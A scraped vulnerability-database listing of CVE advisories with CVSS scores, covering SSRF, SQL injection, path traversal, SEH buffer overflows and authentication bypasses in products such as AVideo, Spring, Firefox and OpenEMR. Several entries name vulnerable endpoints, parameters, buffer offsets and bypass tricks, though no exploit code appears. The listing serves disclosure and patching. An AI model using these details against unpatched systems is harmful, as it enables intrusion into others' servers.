CVE-2026-26138	Server-side request forgery (ssrf) in Microsoft Purview allows an unauthorized attacker to elevate privileges over a network.	8.6	More Details
CVE-2026-26139	Server-side request forgery (ssrf) in Microsoft Purview allows an unauthorized attacker to elevate privileges over a network.	8.6	More Details
CVE-2026-33480	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `isSSRFSafeURL()` function in AVideo can be bypassed using IPv4-mapped IPv6 addresses (`::ffff:x.x.x.x`). The unauthenticated `plugin/LiveLinks/proxy.php` endpoint uses this function to validate URLs before fetching them with curl, but the IPv4-mapped IPv6 prefix passes all checks, allowing an attacker to access cloud metadata services, internal networks, and localhost services. Commit 75ce8a579a58c9d4c7aafe453fbced002cb8f373 contains a patch.	8.6	More Details
CVE-2026-33513	WWBN AVideo is an open source video platform. In versions up to and including 26.0, an unauthenticated API endpoint (`APIName=locale`) concatenates user input into an `include` path with no canonicalization or whitelist. Path traversal is accepted, so arbitrary PHP files under the web root can be included. In our test this yielded confirmed file disclosure and code execution of existing PHP content (e.g., `view/about.php`), and it *can* escalate to RCE if an attacker can place or control a PHP file elsewhere in the tree. As of time of publication, no patched versions are available.	8.6	More Details
CVE-2026-33719	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the CDN plugin endpoints `plugin/CDN/status.json.php` and `plugin/CDN/disable.json.php` use key-based authentication with an empty string default key. When the CDN plugin is enabled but the key has not been configured (the default state), the key validation check is completely bypassed, allowing any unauthenticated attacker to modify the full CDN configuration — including CDN URLs, storage credentials, and the authentication key itself — via mass-assignment through the `par` request parameter. Commit adeff0a31ba04a56f411eef256139fd7ed7d4310 contains a patch.	8.6	More Details
CVE-2026-33039	WWBN AVideo is an open source video platform. In versions 25.0 and below, the plugin/LiveLinks/proxy.php endpoint validates user-supplied URLs against internal/private networks using isSSRFSafeURL(), but only checks the initial URL. When the initial URL responds with an HTTP redirect (Location header), the redirect target is fetched via fakeBrowser() without re-validation, allowing an attacker to reach internal services (cloud metadata, RFC1918 addresses) through an attacker-controlled redirect. This issue is fixed in version 26.0.	8.6	More Details
CVE-2026-23658	Insufficiently protected credentials in Azure DevOps allows an unauthorized attacker to elevate privileges over a network.	8.6	More Details
CVE-2026-22739	Vulnerability in Spring Cloud when substituting the profile parameter from a request made to the Spring Cloud Config Server configured to the native file system as a backend, because it was possible to access files outside of the configured search directories.This issue affects Spring Cloud: from 3.1.X before 3.1.13, from 4.1.X before 4.1.9, from 4.2.X before 4.2.3, from 4.3.X before 4.3.2, from 5.0.X before 5.0.2.	8.6	More Details
CVE-2026-32721	LuCI is the OpenWrt Configuration Interface. Versions prior to both 24.10.5 and 25.12.0, contain a stored XSS vulnerability in the wireless scan modal, where SSID values from scan results are rendered as raw HTML without any sanitization. The wireless.js file in the luci-mod-network package passes SSIDs via a template literal to dom.append(), which processes them through innerHTML, allowing an attacker to craft a malicious SSID containing arbitrary HTML/JavaScript. Exploitation requires the user to actively open the wireless scan modal (e.g., to connect to a Wi-Fi access point or survey nearby channels), and only affects OpenWrt versions newer than 23.05/22.03 up to the patched releases (24.10.6 and 25.12.1). The issue has been fixed in version LuCI 26.072.65753~068150b.	8.6	More Details
CVE-2026-	Sandbox escape due to incorrect boundary conditions, integer overflow in the XPCOM component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and	8.6	More

4690	Thunderbird < 140.9.		Details
CVE-2026-22729	A JSONPath injection vulnerability in Spring AI's AbstractFilterExpressionConverter allows authenticated users to bypass metadata-based access controls through crafted filter expressions. User-controlled input passed to FilterExpressionBuilder is concatenated into JSONPath queries without proper escaping, enabling attackers to inject arbitrary JSONPath logic and access unauthorized documents. This vulnerability affects applications using vector stores that extend AbstractFilterExpressionConverter for multi-tenant isolation, role-based access control, or document filtering based on metadata. The vulnerability occurs when user-supplied values in filter expressions are not escaped before being inserted into JSONPath queries. Special characters like ", ||, and && are passed through unescaped, allowing injection of arbitrary JSONPath logic that can alter the intended query semantics.	8.6	More Details
CVE-2026-4687	Sandbox escape due to incorrect boundary conditions in the Telemetry component. This vulnerability affects Firefox < 149, Firefox ESR < 115.34, Firefox ESR < 140.9, Thunderbird < 149, and Thunderbird < 140.9.	8.6	More Details
CVE-2026-32710	MariaDB server is a community developed fork of MySQL server. An authenticated user can crash MariaDB versions 11.4 before 11.4.10 and 11.8 before 11.8.6 via a bug in JSON_SCHEMA_VALID() function. Under certain conditions it might be possible to turn the crash into a remote code execution. These conditions require tight control over memory layout which is generally only attainable in a lab environment. This issue is fixed in MariaDB 11.4.10, MariaDB 11.8.6, and MariaDB 12.2.2.	8.5	More Details
CVE-2019-25608	Iperius Backup 6.1.0 contains a privilege escalation vulnerability that allows low-privilege users to execute arbitrary programs with elevated privileges by creating backup jobs. Attackers can configure backup jobs to execute malicious batch files or programs before or after backup operations, which run with the privileges of the Iperius Backup Service account (Local System or Administrator), enabling privilege escalation and arbitrary code execution.	8.4	More Details
CVE-2019-25627	FlexHEX 2.71 contains a local buffer overflow vulnerability in the Stream Name field that allows local attackers to execute arbitrary code by triggering a structured exception handler (SEH) overflow. Attackers can craft a malicious text file with carefully aligned shellcode and SEH chain pointers, paste the contents into the Stream Name dialog, and execute arbitrary commands like calc.exe when the exception handler is triggered.	8.4	More Details
CVE-2019-25615	Lavavo CD Ripper 4.20 contains a structured exception handling (SEH) buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious string in the License Activation Name field. Attackers can craft a payload with controlled buffer data, NSEH jump instructions, and SEH handler addresses to trigger code execution and establish a bind shell on port 3110.	8.4	More Details
CVE-2019-25634	Base64 Decoder 1.1.2 contains a stack-based buffer overflow vulnerability that allows local attackers to execute arbitrary code by triggering a structured exception handler (SEH) overwrite. Attackers can craft a malicious input file that overflows a buffer, overwrites the SEH chain with a POP-POP-RET gadget address, and uses an egghunter payload to locate and execute shellcode for code execution.	8.4	More Details
CVE-2019-25633	AIDA64 Extreme 5.99.4900 contains a structured exception handling buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying malicious input through the email preferences and report wizard interfaces. Attackers can inject crafted payloads into the Display name field and Load from file parameter to trigger the overflow and execute shellcode with application privileges.	8.4	More Details
CVE-2019-25607	Axessh 4.2 contains a stack-based buffer overflow vulnerability in the log file name field that allows local attackers to execute arbitrary code by supplying an excessively long filename. Attackers can overflow the buffer at offset 214 bytes to overwrite the instruction pointer and execute shellcode with system privileges.	8.4	More Details
CVE-2019-25631	AIDA64 Business 5.99.4900 contains a structured exception handling buffer overflow vulnerability that allows local attackers to execute arbitrary code by overwriting SEH pointers with malicious shellcode. Attackers can inject egg hunter shellcode through the SMTP display name field in preferences or report wizard functionality to trigger the overflow and execute code with application privileges.	8.4	More Details
CVE-2019-25629	AIDA64 Extreme 5.99.4900 contains a structured exception handler buffer overflow vulnerability in the logging functionality that allows local attackers to execute arbitrary code by supplying a malicious CSV log file path. Attackers can inject shellcode through the Hardware Monitoring logging preferences to overflow the buffer and trigger code execution when the application processes the log file path.	8.4	More Details
CVE-2019-25637	X-NetStat Pro 5.63 contains a local buffer overflow vulnerability that allows local attackers to execute arbitrary code by overwriting the EIP register through a 264-byte buffer overflow. Attackers can inject shellcode into memory and use an egg hunter technique to locate and execute the payload when the application processes malicious input through HTTP Client or Rules functionality.	8.4	More Details
CVE-2019-25603	TuneClone 2.20 contains a structured exception handler (SEH) buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious license code string. Attackers can craft a payload with a controlled buffer, NSEH jump instruction, and SEH handler address pointing to a ROP gadget, then paste it into the license code field to trigger code execution and establish a bind shell.	8.4	More Details
CVE-2019-25619	FTP Shell Server 6.83 contains a buffer overflow vulnerability in the 'Account name to ban' field that allows local attackers to execute arbitrary code by supplying a crafted string. Attackers can inject shellcode through the account name parameter in the Manage FTP Accounts dialog to overwrite the return address and execute calc.exe or other commands.	8.4	More Details

CVE-2019-25626	River Past Cam Do 3.7.6 contains a local buffer overflow vulnerability in the activation code input field that allows local attackers to execute arbitrary code by supplying a malicious activation code string. Attackers can craft a buffer containing 608 bytes of junk data followed by shellcode and SEH chain overwrite values to trigger code execution when the activation dialog processes the input.	8.4	More Details
CVE-2019-25604	DVDXPlayer Pro 5.5 contains a local buffer overflow vulnerability with structured exception handling that allows local attackers to execute arbitrary code by crafting malicious playlist files. Attackers can create a specially crafted .plf file containing shellcode and NOP sleds that overflows a buffer and hijacks the SEH chain to execute arbitrary code with application privileges.	8.4	More Details
CVE-2026-32845	cgltf version 1.15 and prior contain an integer overflow vulnerability in the cgltf_validate() function when validating sparse accessors that allows attackers to trigger out-of-bounds reads by supplying crafted glTF/GLB input files with attacker-controlled size values. Attackers can exploit unchecked arithmetic operations in sparse accessor validation to cause heap buffer over-reads in cgltf_calc_index_bound(), resulting in denial of service crashes and potential memory disclosure.	8.4	More Details
CVE-2019-25609	JetAudio jetCast Server 2.0 contains a stack-based buffer overflow vulnerability in the Log Directory configuration field that allows local attackers to overwrite structured exception handling pointers. Attackers can inject alphanumeric encoded shellcode through the Log Directory field to trigger an SEH exception handler and execute arbitrary code with application privileges.	8.4	More Details
CVE-2019-25611	MiniFtp contains a buffer overflow vulnerability in the parseconf_load_setting function that allows local attackers to execute arbitrary code by supplying oversized configuration values. Attackers can craft a miniftpd.conf file with values exceeding 128 bytes to overflow stack buffers and overwrite the return address, enabling code execution with root privileges.	8.4	More Details
CVE-2026-4396	Improper certificate validation in Devolutions Hub Reporting Service 2025.3.1.1 and earlier allows a network attacker to perform a man-in-the-middle attack via disabled TLS certificate verification.	8.3	More Details
CVE-2026-1313	The MimeTypes Link Icons plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.2.20. This is due to the plugin making outbound HTTP requests to user-controlled URLs without proper validation when the "Show file size" option is enabled. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services via crafted links in post content.	8.3	More Details
CVE-2026-32278	Connect-CMS is a content management system. In versions on the 1.x series up to and including 1.41.0 and versions on the 2.x series up to and including 2.41.0, a Stored Cross-site Scripting (XSS) issue exists in the file field of the Form Plugin. Versions 1.41.1 and 2.41.1 contain a patch.	8.2	More Details
CVE-2019-25643	eNdonesia Portal v8.7 contains multiple SQL injection vulnerabilities that allow unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the bid parameter. Attackers can send GET requests to banners.php with crafted SQL payloads in the bid parameter to extract sensitive database information from the INFORMATION_SCHEMA tables.	8.2	More Details
CVE-2026-33331	oRPC is an tool that helps build APIs that are end-to-end type-safe and adhere to OpenAPI standards. Prior to version 1.13.9, a stored cross-site scripting (XSS) vulnerability exists in the OpenAPI documentation generation of orpc. If an attacker can control any field within the OpenAPI specification (such as info.description), they can break out of the JSON context and execute arbitrary JavaScript when a user views the generated API documentation. This issue has been patched in version 1.13.9.	8.2	More Details
CVE-2019-25635	Zeeways Matrimony CMS contains multiple SQL injection vulnerabilities that allow unauthenticated attackers to manipulate database queries through the profile_list endpoint. Attackers can inject SQL code via the up_cast, s_mother, and s_religion parameters to extract sensitive database information using time-based or error-based techniques.	8.2	More Details
CVE-2019-25578	phpTransformer 2016.9 contains an SQL injection vulnerability that allows remote attackers to execute arbitrary SQL queries by injecting malicious code through the idnews parameter. Attackers can send crafted GET requests to GeneratePDF.php with SQL payloads in the idnews parameter to extract sensitive database information or manipulate queries.	8.2	More Details
CVE-2026-22733	Spring Boot applications with Actuator can be vulnerable to an "Authentication Bypass" vulnerability when an application endpoint that requires authentication is declared under the path used by the CloudFoundry Actuator endpoints. This issue affects Spring Security: from 4.0.0 through 4.0.3, from 3.5.0 through 3.5.11, from 3.4.0 through 3.4.14, from 3.3.0 through 3.3.17, from 2.7.0 through 2.7.31.	8.2	More Details
CVE-2026-32763	Kysely is a type-safe TypeScript SQL query builder. Versions up to and including 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The `visitJSONPathLeg()` function appends user-controlled values from `.key()` and `.at()` directly into single-quoted JSON path string literals (`'$.key'`) without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL. This is inconsistent with `sanitizeIdentifier()`, which properly doubles delimiter characters for identifiers — both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected. Version 0.28.12 fixes the issue.	8.2	More Details

CVE-2019-25576	Kepler Wallpaper Script 1.1 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code into the category parameter. Attackers can send GET requests to the category endpoint with URL-encoded SQL UNION statements to extract database information including usernames, database names, and MySQL version details.	8.2	More Details
CVE-2019-25636	Zeeways Jobsite CMS contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the 'id' GET parameter. Attackers can send crafted requests to news_details.php, jobs_details.php, or job_cmp_details.php with malicious 'id' values using GROUP BY and CASE statements to extract sensitive database information.	8.2	More Details
CVE-2019-25580	ownDMS 4.7 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the IMG parameter. Attackers can send GET requests to pdfstream.php, imagestream.php, or anyfilestream.php with crafted SQL payloads in the IMG parameter to extract sensitive database information including version and database names.	8.2	More Details
CVE-2019-25575	SimplePress CMS 1.0.7 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the 'p' and 's' parameters. Attackers can send GET requests with crafted SQL payloads to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2026-2992	The KiviCare – Clinic & Patient Management System (EHR) plugin for WordPress is vulnerable to Privilege Escalation due to missing authorization on the `/wp-json/kivicare/v1/setup-wizard/clinic` REST API endpoint in all versions up to, and including, 4.1.2. This makes it possible for unauthenticated attackers to create a new clinic and a WordPress user with clinic admin privileges.	8.2	More Details
CVE-2026-32811	Heimdall is a cloud native Identity Aware Proxy and Access Control Decision service. When using Heimdall in envoy gRPC decision API mode with versions 0.7.0-alpha through 0.17.10, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed. Envoy splits the requested URL into parts, and sends the parts individually to Heimdall. Although query and path are present in the API, the query field is documented to be always empty and the URL query is included in the path field. The implementation uses go's url library to reconstruct the url which automatically encodes special characters in the path. As a consequence, a parameter like /mypath?foo=bar to Path is escaped into /mypath%3Ffoo=bar. Subsequently, a rule matching /mypath no longer matches and is bypassed. The issue can only lead to unintended access if Heimdall is configured with an "allow all" default rule. Since v0.16.0, Heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via --insecure-skip-secure-default-rule-enforcement or the broader --insecure flag. This issue has been fixed in version 0.17.11.	8.2	More Details
CVE-2026-33072	FileRise is a self-hosted web file manager / WebDAV server. In versions prior to 3.9.0, a hardcoded default encryption key (default_please_change_this_key) is used for all cryptographic operations — HMAC token generation, AES config encryption, and session tokens — allowing any unauthenticated attacker to forge upload tokens for arbitrary file upload to shared folders, and to decrypt admin configuration secrets including OIDC client secrets and SMTP passwords. FileRise uses a single key (PERSISTENT_TOKENS_KEY) for all crypto operations. The default value default_please_change_this_key is hardcoded in two places and used unless the deployer explicitly overrides the environment variable. This issue is fixed in version 3.9.0.	8.2	More Details
CVE-2019-25639	Matrimony Website Script M-Plus contains multiple SQL injection vulnerabilities that allow unauthenticated attackers to manipulate database queries by injecting SQL code through various POST parameters. Attackers can inject malicious SQL payloads into parameters like txtGender, religion, Fage, and cboCountry across simplesearch_results.php, advsearch_results.php, specialcase_results.php, locational_results.php, and registration2.php to extract sensitive database information or execute arbitrary SQL commands.	8.2	More Details
CVE-2026-22171	OpenClaw versions prior to 2026.2.19 contain a path traversal vulnerability in the Feishu media download flow where untrusted media keys are interpolated directly into temporary file paths in extensions/feishu/src/media.ts. An attacker who can control Feishu media key values returned to the client can use traversal segments to escape os.tmpdir() and write arbitrary files within the OpenClaw process permissions.	8.2	More Details
CVE-2026-26740	Buffer Overflow vulnerability in giflib v.5.2.2 allows a remote attacker to cause a denial of service via the EGifGCBToExtension overwriting an existing Graphic Control Extension block without validating its allocated size.	8.2	More Details
CVE-2026-24063	When a plugin is installed using the Arturia Software Center (MacOS), it also installs an uninstall.sh bash script in a root owned path. This script is written to disk with the file permissions 777, meaning it is writable by any user. When uninstalling a plugin via the Arturia Software Center the Privileged Helper gets instructed to execute this script. When the bash script is manipulated by an attacker this scenario will lead to privilege escalation.	8.2	More Details
CVE-2019-25640	Inout Article Base CMS contains SQL injection vulnerabilities that allow unauthenticated attackers to manipulate database queries through the 'p' and 'u' parameters. Attackers can inject SQL code using XOR-based payloads in GET requests to portalLogin.php to extract sensitive database information or cause denial of service through time-based attacks.	8.2	More Details
CVE-2019-25642	Bootstrapy CMS contains multiple SQL injection vulnerabilities that allow unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through POST parameters. Attackers can inject SQL payloads into the thread_id parameter of forum-thread.php, the subject parameter of contact-submit.php, the post-id parameter of post-new-submit.php, and the thread-id parameter to extract sensitive database information or	8.2	More Details

	cause denial of service.		
CVE-2019-25581	i-doit CMDB 1.12 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the objGroupID parameter. Attackers can send GET requests with crafted SQL payloads in the objGroupID parameter to extract sensitive database information including usernames, database names, and version details.	8.2	More Details
CVE-2026-33243	barebox is a bootloader. In barebox from version 2016.03.0 to before version 2025.09.3 and from version 2025.10.0 to before version 2026.03.1, when creating a FIT, mkimage(1) sets the hashed-nodes property of the FIT signature node to list which nodes of the FIT were hashed as part of the signing process as these will need to be verified later on by the bootloader. However, hashed-nodes itself is not part of the hash and can therefore be modified by an attacker to trick the bootloader into booting different images than those that have been verified. This issue has been patched in barebox versions 2025.09.3 and 2026.03.1.	8.2	More Details
CVE-2026-31965	HTSlib is a library for reading and writing bioinformatics file formats. CRAM is a compressed format which stores DNA sequence alignment data. In the `cram_decode_slice()` function called while reading CRAM records, validation of the reference id field occurred too late, allowing two out of bounds reads to occur before the invalid data was detected. The bug does allow two values to be leaked to the caller, however as the function reports an error it may be difficult to exploit them. It is also possible that the program will crash due to trying to access invalid memory. Versions 1.23.1, 1.22.2 and 1.21.1 include fixes for this issue. There is no workaround for this issue.	8.2	More Details
CVE-2019-25641	Netartmedia Vlog System contains an SQL injection vulnerability that allows unauthenticated attackers to manipulate database queries by injecting SQL code through the email parameter. Attackers can send POST requests to index.php with malicious email values in the forgotten_password module to extract sensitive database information.	8.2	More Details
CVE-2026-22731	Spring Boot applications with Actuator can be vulnerable to an "Authentication Bypass" vulnerability when an application endpoint that requires authentication is declared under a specific path, already configured for a Health Group additional path. This issue affects Spring Boot: from 4.0 before 4.0.3, from 3.5 before 3.5.11, from 3.4 before 3.4.15. This CVE is similar but not equivalent to CVE-2026-22733, as the conditions for exploit and vulnerable versions are different.	8.2	More Details
CVE-2026-27654	NGINX Open Source and NGINX Plus have a vulnerability in the ngx_http_dav_module module that might allow an attacker to trigger a buffer overflow to the NGINX worker process; this vulnerability may result in termination of the NGINX worker process or modification of source or destination file names outside the document root. This issue affects NGINX Open Source and NGINX Plus when the configuration file uses DAV module MOVE or COPY methods, prefix location (nonregular expression location configuration), and alias directives. The integrity impact is constrained because the NGINX worker process user has low privileges and does not have access to the entire system. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.	8.2	More Details
CVE-2026-27093	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Ovatheme Tripgo allows PHP Local File Inclusion.This issue affects Tripgo: from n/a before 1.5.6.	8.1	More Details
CVE-2026-32300	Connect-CMS is a content management system. In versions on the 1.x series up to and including 1.41.0 and versions on the 2.x series up to and including 2.41.0, an improper authorization issue in the My Page profile update feature may allow modification of arbitrary user information. Versions 1.41.1 and 2.41.1 contain a patch.	8.1	More Details
CVE-2026-33329	FileRise is a self-hosted web file manager / WebDAV server. From version 1.0.1 to before version 3.10.0, the resumableIdentifier parameter in the Resumable.js chunked upload handler (UploadModel::handleUpload()) is concatenated directly into filesystem paths without any sanitization. An authenticated user with upload permission can exploit this to write files to arbitrary directories on the server, delete arbitrary directories via the post-assembly cleanup, and probe file/directory existence. This issue has been patched in version 3.10.0.	8.1	More Details
CVE-2026-27096	Deserialization of Untrusted Data vulnerability in BuddhaThemes ColorFolio - Freelance Designer WordPress Theme allows Object Injection.This issue affects ColorFolio - Freelance Designer WordPress Theme: from n/a through 1.3.	8.1	More Details
CVE-2026-4478	A vulnerability was identified in Yi Technology YI Home Camera 2 2.1.1_20171024151200. This impacts an unknown function of the file home/web/ipc of the component HTTP Firmware Update Handler. The manipulation leads to improper verification of cryptographic signature. The attack is possible to be carried out remotely. The complexity of an attack is rather high. The exploitability is said to be difficult. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.	8.1	More Details
CVE-2026-25471	Authentication Bypass Using an Alternate Path or Channel vulnerability in Themepaste Admin Safety Guard allows Password Recovery Exploitation.This issue affects Admin Safety Guard: from n/a through 1.2.6.	8.1	More Details
CVE-2026-33651	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `remindMe.json.php` endpoint passes `$_REQUEST['live_schedule_id']` through multiple functions without sanitization until it reaches `Scheduler_commands::getAllActiveOrToRepeat()`, which directly concatenates it into a SQL `LIKE` clause. Although intermediate functions (`new Live_schedule()`, `getUsers_idOrCompany()`) apply `intval()` internally, they do so on local copies within `ObjectYPT::getFromDb()`, leaving the original tainted variable unchanged. Any authenticated user can perform time-based blind SQL injection to extract arbitrary database contents. Commit	8.1	More Details

	75d45780728294ededa1e3f842f95295d3e7d144 contains a patch.		
CVE-2026-33302	OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, the module ACL function `AclMain::zhAclCheck()` only checks for the presence of any "allow" (user or group). It never checks for explicit "deny" (allowed=0). As a result, administrators cannot revoke access by setting a user or group to "deny"; if the user is in a group that has "allow," access is granted regardless of explicit denies. Version 8.0.0.2 fixes the issue.	8.1	More Details
CVE-2026-33301	OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, users with the `Notes - my encounters` role can fill Eye Exam forms in patient encounters. The answers to the form can be printed out in PDF form. An arbitrary file read vulnerability was identified in the PDF creation function where the form answers are parsed as unescaped HTML, allowing an attacker to include arbitrary image files from the server in the generated PDF. Version 8.0.0.2 fixes the issue.	8.1	More Details
CVE-2026-33482	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `sanitizeFFmpegCommand()` function in `plugin/API/standAlone/functions.php` is designed to prevent OS command injection in ffmpeg commands by stripping dangerous shell metacharacters (`&&`, `;`, `|`, `` ` ``, `<`, `>`). However, it fails to strip `$()` (bash command substitution syntax). Since the sanitized command is executed inside a double-quoted `sh -c` context in `execAsync()`, an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server. Commit 25c8ab90269e3a01fb4cf205b40a373487f022e1 contains a patch.	8.1	More Details
CVE-2026-22324	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeREX Melania allows PHP Local File Inclusion.This issue affects Melania: from n/a through 2.5.0.	8.1	More Details
CVE-2026-32942	PJSIP is a free and open source multimedia communication library written in C. Versions 2.16 and below contain a heap use-after-free vulnerability in the ICE session that occurs when there are race conditions between session destruction and the callbacks. This issue has been fixed in version 2.17.	8.1	More Details
CVE-2026-32939	DataEase is an open source data visualization analysis tool. Versions 2.10.19 and below have inconsistent Locale handling between the JDBC URL validation logic and the H2 JDBC engine's internal parsing. DataEase uses String.toUpperCase() without specifying an explicit Locale, causing its security checks to rely on the JVM's default runtime locale, while H2 JDBC always normalizes URLs using Locale.ENGLISH. In Turkish locale environments (tr_TR), Java converts the lowercase letter i to İ (dotted capital I) instead of the standard I, so a malicious parameter like iNIT becomes İNIT in DataEase's filter (bypassing its blacklist) while H2 still correctly interprets it as INIT. This discrepancy allows attackers to smuggle dangerous JDBC parameters past DataEase's security validation, and the issue has been confirmed as exploitable in real DataEase deployment scenarios running under affected regional settings. The issue has been fixed in version 2.10.20.	8.1	More Details
CVE-2026-33649	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `plugin/Permissions/setPermission.json.php` endpoint accepts GET parameters for a state-changing operation that modifies user group permissions. The endpoint has no CSRF token validation, and the application explicitly sets `session.cookie_samesite=None` on session cookies. This allows an unauthenticated attacker to craft a page with `<img>` tags that, when visited by an admin, silently grant arbitrary permissions to the attacker's user group — escalating the attacker to near-admin access. As of time of publication, no known patched versions are available.	8.1	More Details
CVE-2026-33236	NLTK (Natural Language Toolkit) is a suite of open source Python modules, data sets, and tutorials supporting research and development in Natural Language Processing. In versions 3.9.3 and prior, the NLTK downloader does not validate the `subdir` and `id` attributes when processing remote XML index files. Attackers can control a remote XML index server to provide malicious values containing path traversal sequences (such as `../`), which can lead to arbitrary directory creation, arbitrary file creation, and arbitrary file overwrite. Commit 89fe2ec2c6bae6e2e7a46dad65cc34231976ed8a patches the issue.	8.1	More Details
CVE-2026-33344	Dagu is a workflow engine with a built-in Web user interface. From version 2.0.0 to before version 2.3.1, the fix for CVE-2026-27598 added ValidateDAGName to CreateNewDAG and rewrote generateFilePath to use filepath.Base. This patched the CREATE path. The remaining API endpoints - GET, DELETE, RENAME, EXECUTE - all pass the {fileName} URL path parameter to locateDAG without calling ValidateDAGName. %2F-encoded forward slashes in the {fileName} segment traverse outside the DAGs directory. This issue has been patched in version 2.3.1.	8.1	More Details
CVE-2025-55046	MuraCMS through 10.1.10 contains a CSRF vulnerability that allows attackers to permanently destroy all deleted content stored in the trash system through a simple CSRF attack. The vulnerable cTrash.empty function lacks CSRF token validation, enabling malicious websites to forge requests that irreversibly delete all trashed content when an authenticated administrator visits a crated webpage. Successful exploitation of the CSRF vulnerability results in potentially catastrophic data loss within the MuraCMS system. When an authenticated administrator visits a malicious page containing the CSRF exploit, their browser automatically submits a hidden form that permanently empties the entire trash system without any validation, confirmation dialog, or user consent.	8.1	More Details
CVE-2026-33293	WWBN AVideo is an open source video platform. Prior to version 26.0, the `deleteDump` parameter in `plugin/CloneSite/cloneServer.json.php` is passed directly to `unlink()` without any path sanitization. An attacker with valid clone credentials can use path traversal sequences (e.g., `../../`) to delete arbitrary files on the server, including critical application files such as `configuration.php`, causing complete denial of service or enabling further attacks by removing security-critical files. Version 26.0 fixes the issue.	8.1	More Details

CVE-2026-33037	WWBN AVideo is an open source video platform. In versions 25.0 and below, the official Docker deployment files (docker-compose.yml, env.example) ship with the admin password set to "password", which is automatically used to seed the admin account during installation, meaning any instance deployed without overriding SYSTEM_ADMIN_PASSWORD is immediately vulnerable to trivial administrative takeover. No compensating controls exist: there is no forced password change on first login, no complexity validation, no default-password detection, and the password is hashed with weak MD5. Full admin access enables user data exposure, content manipulation, and potential remote code execution via file uploads and plugin management. The same insecure-default pattern extends to database credentials (avideo/avideo), compounding the risk. Exploitation depends on operators failing to change the default, a condition likely met in quick-start, demo, and automated deployments. This issue has been fixed in version 26.0.	8.1	More Details
CVE-2026-33043	WWBN AVideo is an open source video platform. In versions 25.0 and below, /objects/phpsessionid.json.php exposes the current PHP session ID to any unauthenticated request. The allowOrigin() function reflects any Origin header back in Access-Control-Allow-Origin with Access-Control-Allow-Credentials: true, enabling cross-origin session theft and full account takeover. This issue has been fixed in version 26.0.	8.1	More Details
CVE-2026-32759	File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. In versions 2.61.2 and below, the TUS resumable upload handler parses the Upload-Length header as a signed 64-bit integer without validating that the value is non-negative, allowing an authenticated user to supply a negative value that instantly satisfies the upload completion condition upon the first PATCH request. This causes the server to fire after_upload exec hooks with empty or partial files, enabling an attacker to repeatedly trigger any configured hook with arbitrary filenames and zero bytes written. The impact ranges from DoS through expensive processing hooks, to command injection amplification when combined with malicious filenames, to abuse of upload-driven workflows like S3 ingestion or database inserts. Even without exec hooks enabled, the negative Upload-Length creates inconsistent cache entries where files are marked complete but contain no data. All deployments using the TUS upload endpoint (/api/tus) are affected, with the enableExec flag escalating the impact from cache inconsistency to remote command execution. At the time of publication, no patch or mitigation was available to address this issue.	8.1	More Details
CVE-2026-31836	Checkmate is an open-source, self-hosted tool designed to track and monitor server hardware, uptime, response times, and incidents in real-time with beautiful visualizations. In versions from 3.5.1 and prior, a mass assignment vulnerability in Checkmate's user profile update endpoint allows any authenticated user to escalate their privileges to superadmin, bypassing all role-based access controls. An attacker can modify their user role to gain complete administrative access to the application, including the ability to view all users, modify critical configurations, and access sensitive system data. At time of publication, there are no publicly available patches.	8.1	More Details
CVE-2026-33055	tar-rs is a tar archive reading/writing library for Rust. Versions 0.4.44 and below have conditional logic that skips the PAX size header in cases where the base header size is nonzero. As part of CVE-2025-62518, the astral-tokio-tar project was changed to correctly honor PAX size headers in the case where it was different from the base header. This is almost the inverse of the astral-tokio-tar issue. Any discrepancy in how tar parsers honor file size can be used to create archives that appear differently when unpacked by different archivers. In this case, the tar-rs (Rust tar) crate is an outlier in checking for the header size - other tar parsers (including e.g. Go archive/tar) unconditionally use the PAX size override. This can affect anything that uses the tar crate to parse archives and expects to have a consistent view with other parsers. This issue has been fixed in version 0.4.45.	8.1	More Details
CVE-2026-33038	WWBN AVideo is an open source video platform. Versions 25.0 and below are vulnerable to unauthenticated application takeover through the install/checkConfiguration.php endpoint. install/checkConfiguration.php performs full application initialization: database setup, admin account creation, and configuration file write, all from an unauthenticated POST input. The only guard is checking whether videos/configuration.php already exists. On uninitialized deployments, any remote attacker can complete the installation with attacker-controlled credentials and an attacker-controlled database, gaining full administrative access. This issue has been fixed in version 26.0.	8.1	More Details
